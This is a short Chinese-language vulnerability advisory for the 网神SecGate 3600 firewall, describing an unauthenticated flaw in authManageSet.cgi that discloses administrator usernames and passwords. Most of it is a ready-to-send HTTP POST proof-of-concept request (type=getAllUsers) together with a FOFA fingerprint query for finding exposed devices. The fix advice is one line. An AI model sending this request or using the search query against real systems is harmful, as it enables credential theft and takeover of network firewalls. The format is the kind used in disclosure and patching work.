漏洞概述
网神SecGate 3600 authManageSet.cgi 接口存在敏感信息泄露漏洞，未授权得攻击者可以通过此漏洞获取控制台管理员用户名密码等凭据，可登录控制整个后台，使系统处于极不安全的状态
复现环境
FOFA：body="sec_gate_image/login_02.gif"
PoC
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: closetype=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc验证
修复建议
关闭互联网暴露面或删除相关页面
升级至安全版本
